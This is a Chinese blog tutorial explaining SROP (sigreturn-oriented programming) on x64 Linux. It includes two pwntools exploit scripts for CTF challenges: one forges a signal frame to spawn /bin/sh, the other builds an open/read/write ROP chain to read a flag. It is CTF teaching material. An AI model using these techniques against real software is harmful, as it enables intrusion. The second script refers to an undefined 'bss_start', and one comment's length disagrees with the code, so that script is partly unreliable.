Srop

Srop 的全称是Sigreturn Oriented Programming

Srop 可以理解成一种高级的ROP,利用了linux下15号系统调用的->rt_sigreturn

Signal

SignalUnix系统中的一种通信机制,通常用于在进程之间传递信息,也可以说是软中断信息

常见于在一个进程中,内核向其发送发送软中断信号,该进程将暂时被挂起,系统进入内核态

因为是暂时被挂起,所以系统会保留该进程的上下文

  • 将所有的寄存器压入栈中,以及signal信息和指向sigreturn的系统调用地址在栈顶上放置rt_sigreturn

此时栈上的内存分布:

Signal Frame

这一段内存也被称为Signal Frame

漏洞利用点

  • Signal Frame 被放置在用户进程的内存空间中,也就说Signal Frame是可以读写的
  • 在恢复Signal信号的时候没有检测,也就是说我们可以通过改变Signal Frame中的信息来劫持控制流

例如:

rax = 59//对应59号系统调用-> exceve
rdi = '/bin/sh'
rsi = 0
rdx = 0

这样就能进行一个最简单的Srop

Srop链

有时候我们希望执行一系列的操作,此时可以通过syscall ret;这个gadget去串联起我们我们的Srop

执行完一个SignalFrame接着执行下一个SignalFrame

简单的例题

去年国赛的某道题

gadgets 函数:

vuln 函数 :

汇编其实也很好读,就是系统调用-read/write

read(0,buf,0x400) //-syscall 0 read

write(0,buf,0x30) //-syscall 1 write

syscall(系统调用)是根据rax寄存器里的值,来决定进行多少号的系统调用。

在x64系统中,15号系统调用对应rt_sigreturn

此时我们的思路也很简单,就用write去leak出/bin/sh的地址

让系统进入Signal之后

我们去劫持Signal Frame就好了,

frame=SigreturnFrame()#pwntools集成的srop工具
frame.rax = constants.SYS_execve
frame.rdi = sh_address
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
#p = process('./ciscn_s_3')
p = remote('node3.buuoj.cn',28916)
set_rax_15 = 0x4004DA
rw = 0x4004F1
syscall_ret = 0x400517
syscall = 0x400501

payload = '/bin/sh\x00' + 'a'*0x8 + p64(rw)

p.send(payload)

p.recv(32)
sh_address = u64(p.recv(8)) - 0x118# leak stack

p.recv(8)
#init srop
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = sh_address
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
#second read
payload = 'a'*0x10+p64(set_rax_15)+p64(syscall_ret)+str(frame)
p.send(payload)
p.interactive()

不简单的例题

这题开了沙盒,没法拿shell,是通过srop来写orw读flag,保护全开

IDA:

  char buf; // [rsp+0h] [rbp-110h]
 unsigned __int64 v2; // [rsp+108h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 puts("Welcome to v&n challange!");
 printf("Here is my gift: 0x%llx\n", &puts);
 printf("Please input magic message: ");
 read(0, &buf, 0x100uLL);
 syscall(15LL, &buf);
 return __readfsqword(0x28u) ^ v2;
  • 值得注意的是read是没有溢出的,题目给了syscall(15LL, &buf),就只能srop
  • 还是用到我们pwntools里集成的工具SigreturnFrame()生成signalframe
  • 然后就是写orw了

exp :

from pwn import *                                                                                                                                                                                                       
context(log_level='debug', arch='amd64')

p = remote('node3.buuoj.cn', 27151)

libc = ELF('./libc-2.23.so')

p.recvuntil('gift: ')
puts_addr = int(p.recv(14), 16)
log.info(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
pop_rdi_ret = libc_base + 0x21102
pop_rsi_ret = libc_base + 0x202e8
pop_rdx_ret = libc_base + 0x01b92
bss = libc_base + libc.bss()
rop_addr = bss_start + 0x100

frame = SigreturnFrame()
frame.rdi = 0x0 # syscall 0 -> read
frame.rsi = rop_addr
frame.rdx = 0x100
frame.rip = read_addr
frame.rsp = rop_addr
#相当于栈迁移到bss +0x100上进行rop
p.sendafter('message: ', str(frame)[8:])

str_flag_addr = rop_addr + 0x98
payload = p64(pop_rdi_ret) + p64(str_flag_addr) + p64(pop_rsi_ret) + p64(0x0) + p64(open_addr) # open('flag')
payload += p64(pop_rdi_ret) + p64(0x3) + p64(pop_rsi_ret) + p64(bss) + p64(pop_rdx_ret) + p64(0x30) + p64(read_addr) # read(3,bss,0x40) 3是因为open默认打开stdin->0 stdout->1 stderr->2,接下来打开就是3
payload += p64(pop_rdi_ret) + p64(0x1) + p64(pop_rsi_ret) + p64(bss) + p64(pop_rdx_ret) + p64(0x30) + p64(write_addr) # write(1,bss,0x40)
payload += 'flag\x00'
p.send(payload)
p.interactive()

总结

在能控制syscall的时候,srop的使用就会比传统的rop更加灵活。

发表评论

电子邮件地址不会被公开。 必填项已用*标注